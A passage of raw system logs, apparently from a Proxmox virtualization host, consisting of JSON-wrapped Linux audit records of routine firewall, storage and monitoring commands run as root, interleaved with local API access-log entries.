exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025619,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.619:68112): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965765347,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.347:67011): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138bc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025704,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.704:68128): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=622a8e803740 items=0 ppid=1156 pid=65424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=EXECVE msg=audit(1781964414.269:60908): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965222554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.442:61111): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965136915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.915:64333): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025611,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.611:68111): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965765342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.342:67010): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecdf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.700:68127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f53f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964409262,"@rawstring":"node=pve type=EXECVE msg=audit(1781964409.262:60905): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965222554,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.442:61110): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965135865,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.865:64329): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe215424a0 a1=607d4d9963d0 a2=607d4d974680 a3=5 items=1 ppid=61805 pid=61806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025602,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.602:68110): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965765334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.334:67009): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.693:68126): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964409253,"@rawstring":"node=pve type=EXECVE msg=audit(1781964409.253:60902): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965220745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964455391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.391:61106): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdbbdf7c70 a1=5e73c8d0a310 a2=5e73c8d03680 a3=5 items=1 ppid=58663 pid=58664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965135770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.770:64311): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd2db01bc0 a1=56cb93746200 a2=56cb93724680 a3=5 items=1 ppid=61786 pid=61787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025136,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.136:68109): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965765330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.330:67008): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100e70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.686:68125): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405717,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.717:60899): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965220745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 872"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.299:61088): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe84621e30 a1=5e2b711e21c0 a2=5e2b711c0680 a3=5 items=1 ppid=58644 pid=58645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.904:64301): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025129,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.129:68106): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965765322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.322:67007): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.680:68124): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405714,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.714:60898): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965220745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.431:61080): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.904:64300): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966024676,"@rawstring":"node=pve type=EXECVE msg=audit(1781966024.676:68103): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965765317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.317:67006): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbb79e050 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025674,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.674:68123): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405713,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.713:60897): argc=1 a0=\"date\""} {"@timestamp":1781965220745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.431:61079): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.898:64298): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966024645,"@rawstring":"node=pve type=EXECVE msg=audit(1781966024.645:68102): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965765310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.310:67005): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.668:68122): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b62100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405709,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.709:60895): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965219432,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.423:61076): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.898:64297): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021043,"@rawstring":"node=pve type=EXECVE msg=audit(1781966021.043:68101): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965765302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.302:67004): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.661:68121): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405703,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.703:60894): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965218426,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.423:61075): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.887:64294): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021043,"@rawstring":"node=pve type=EXECVE msg=audit(1781966021.043:68100): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965765297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.297:67003): arch=c000003e syscall=59 success=yes exit=0 a0=5ee534172ed0 a1=5ee53416fc50 a2=5ee534151680 a3=5 items=2 ppid=64347 pid=64353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.652:68120): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405697,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.697:60893): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965218426,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.412:61072): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.887:64293): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021041,"@rawstring":"node=pve type=EXECVE msg=audit(1781966021.041:68099): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965765294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.294:67002): arch=c000003e syscall=59 success=yes exit=0 a0=5ee4fc055ac8 a1=7ffdd525f6a0 a2=5ee534151680 a3=5ee4fc03924e items=2 ppid=64347 pid=64349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.648:68119): arch=c000003e syscall=59 success=yes exit=0 a0=616de6484e90 a1=616de6481c10 a2=616de6463680 a3=5 items=2 ppid=65410 pid=65416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405691,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.691:60892): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965218426,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.412:61071): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.877:64291): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966020117,"@rawstring":"node=pve type=EXECVE msg=audit(1781966020.117:68098): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965765294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.294:67001): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdd525f660 a1=5ee53416eb40 a2=5ee534151680 a3=5 items=2 ppid=64347 pid=64348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.645:68118): arch=c000003e syscall=59 success=yes exit=0 a0=616dde430ac8 a1=7ffc7cd71170 a2=616de6463680 a3=616dde41424e items=2 ppid=65410 pid=65412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405685,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.685:60891): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965216407,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 494"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.405:61069): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965126877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.877:64290): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=EXECVE msg=audit(1781966020.106:68095): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965765289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.289:66999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.644:68117): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7cd71130 a1=616de646a310 a2=616de6463680 a3=5 items=2 ppid=65410 pid=65411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405680,"@rawstring":"node=pve 